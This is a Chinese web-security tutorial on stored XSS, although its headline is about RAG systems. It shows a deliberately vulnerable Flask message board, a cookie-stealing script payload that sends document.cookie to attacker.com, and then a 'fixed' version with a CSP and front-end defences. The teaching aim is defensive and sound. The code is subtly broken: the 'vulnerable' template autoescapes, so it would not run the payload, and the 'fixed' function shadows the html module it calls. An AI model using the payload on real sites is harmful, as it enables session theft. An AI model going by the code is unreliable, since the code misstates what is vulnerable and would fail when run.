RAG系统解析:检索增强生成技术在企业AI应用中的实践
2026/7/27 7:41:57
攻击者 → 提交恶意输入 → 服务器存储 → 其他用户访问 → 脚本自动执行攻击者通过表单、评论、留言板等入口提交包含 JavaScript 代码的输入,服务器未做任何过滤直接存入数据库。当其他用户访问该页面时,恶意代码被从数据库读取并嵌入到 HTML 中,浏览器将其解释为脚本执行。## 实战代码示例:一个脆弱的留言板### 后端代码(Python Flask)python# 脆弱版本:未做任何过滤的留言板from flask import Flask, render_template_string, request, redirect, url_forimport sqlite3app = Flask(__name__)# 初始化数据库def init_db(): conn = sqlite3.connect('messages.db') cursor = conn.cursor() cursor.execute(''' CREATE TABLE IF NOT EXISTS messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT, username TEXT ) ''') conn.commit() conn.close()init_db()@app.route('/')def index(): conn = sqlite3.connect('messages.db') cursor = conn.cursor() cursor.execute('SELECT username, content FROM messages') messages = cursor.fetchall() conn.close() # 危险的渲染方式:直接拼接用户输入到 HTML 中 html = ''' <h1>留言板</h1> <form action="/add" method="post"> <input type="text" name="username" placeholder="用户名"> <textarea name="content" placeholder="留言内容"></textarea> <button type="submit">提交</button> </form> <div id="messages"> {% for username, content in messages %} <div class="message"> <strong>{{username}}</strong>: {{content}} </div> {% endfor %} </div> ''' return render_template_string(html, messages=messages)@app.route('/add', methods=['POST'])def add_message(): username = request.form['username'] content = request.form['content'] conn = sqlite3.connect('messages.db') cursor = conn.cursor() # 直接存储用户输入,不做任何过滤 cursor.execute('INSERT INTO messages (username, content) VALUES (?, ?)', (username, content)) conn.commit() conn.close() return redirect(url_for('index'))if __name__ == '__main__': app.run(debug=True)### 攻击示例攻击者在留言内容中输入以下恶意代码:html<script> // 窃取用户 cookie fetch('https://attacker.com/steal?cookie=' + document.cookie); // 或者重定向到恶意网站 // window.location.href = 'https://phishing-site.com';</script>当其他用户访问留言板时,这个脚本会自动执行,用户的 cookie 被发送到攻击者的服务器。## 存储型 XSS 的危害1.会话劫持:窃取用户 Cookie,伪装成合法用户2.数据泄露:获取用户敏感信息(如 CSRF Token、个人资料)3.页面篡改:修改页面内容,植入钓鱼表单4.键盘记录:记录用户输入的密码、信用卡号等## 安全修复方案:正确过滤和转义### 修复后的后端代码python# 安全版本:使用 HTML 转义和内容安全策略from flask import Flask, render_template_string, request, redirect, url_forimport sqlite3import html # Python 内置 HTML 转义模块app = Flask(__name__)# 初始化数据库(同前)def init_db(): conn = sqlite3.connect('messages.db') cursor = conn.cursor() cursor.execute(''' CREATE TABLE IF NOT EXISTS messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT, username TEXT ) ''') conn.commit() conn.close()init_db()@app.route('/')def index(): conn = sqlite3.connect('messages.db') cursor = conn.cursor() cursor.execute('SELECT username, content FROM messages') messages = cursor.fetchall() conn.close() # 在渲染前对每条消息进行转义 escaped_messages = [] for username, content in messages: escaped_username = html.escape(username) escaped_content = html.escape(content) escaped_messages.append((escaped_username, escaped_content)) # 使用更安全的渲染方式 html = ''' <!DOCTYPE html> <html> <head> <title>安全留言板</title> <!-- 内容安全策略:限制脚本执行 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'none'"> </head> <body> <h1>安全留言板</h1> <form action="/add" method="post"> <input type="text" name="username" placeholder="用户名" required> <textarea name="content" placeholder="留言内容" required></textarea> <button type="submit">提交</button> </form> <div id="messages"> {% for username, content in escaped_messages %} <div class="message"> <!-- 使用安全的 Jinja2 转义(默认已转义) --> <strong>{{username}}</strong>: {{content}} </div> {% endfor %} </div> </body> </html> ''' return render_template_string(html, escaped_messages=escaped_messages)@app.route('/add', methods=['POST'])def add_message(): username = request.form['username'] content = request.form['content'] # 输入验证:限制用户名长度和内容 if len(username) > 50: return "用户名过长", 400 if len(content) > 500: return "留言内容过长", 400 # 使用参数化查询(已做,但加上双重过滤) conn = sqlite3.connect('messages.db') cursor = conn.cursor() cursor.execute('INSERT INTO messages (username, content) VALUES (?, ?)', (username, content)) conn.commit() conn.close() return redirect(url_for('index'))if __name__ == '__main__': app.run(debug=True)### 前端安全增强javascript// 前端也要做防御:使用 textContent 而不是 innerHTMLconst messageContainer = document.getElementById('messages');function addMessage(username, content) { const div = document.createElement('div'); div.className = 'message'; const strong = document.createElement('strong'); // 使用 textContent 自动转义 HTML strong.textContent = username + ': '; const textNode = document.createTextNode(content); div.appendChild(strong); div.appendChild(textNode); messageContainer.appendChild(div);}// 即使后端有漏洞,前端也能防止脚本执行const maliciousInput = '<script>alert("XSS")</script>';addMessage('攻击者', maliciousInput); // 显示为文本,不会执行## 防御策略总结| 防御措施 | 说明 | 示例 ||---------|------|------||输入验证| 限制长度、类型、格式 | 用户名只允许字母数字 ||输出转义| 将<转义为<| html.escape() ||内容安全策略| 限制脚本来源 | CSP header ||参数化查询| 防止 SQL 注入 | 使用 ? 占位符 ||HttpOnly Cookie| 防止 JS 访问 Cookie | Set-Cookie: HttpOnly |## 总结存储型 XSS 是最危险的 Web 安全漏洞之一,因为它不需要用户点击特定链接,而是自动在受害者的浏览器中执行。其根本原因是用户输入被当作代码执行,而不是数据。防御的关键在于输入验证(拒绝恶意输入)和输出转义(确保用户数据被当作纯文本显示)。开发者应该始终遵循“不要信任用户输入”的原则,在后端和前端都实施多层防御,结合内容安全策略(CSP)和安全的 API 使用习惯,才能有效防范此类攻击。记住:安全不是一次性工作,而是需要贯穿整个开发周期。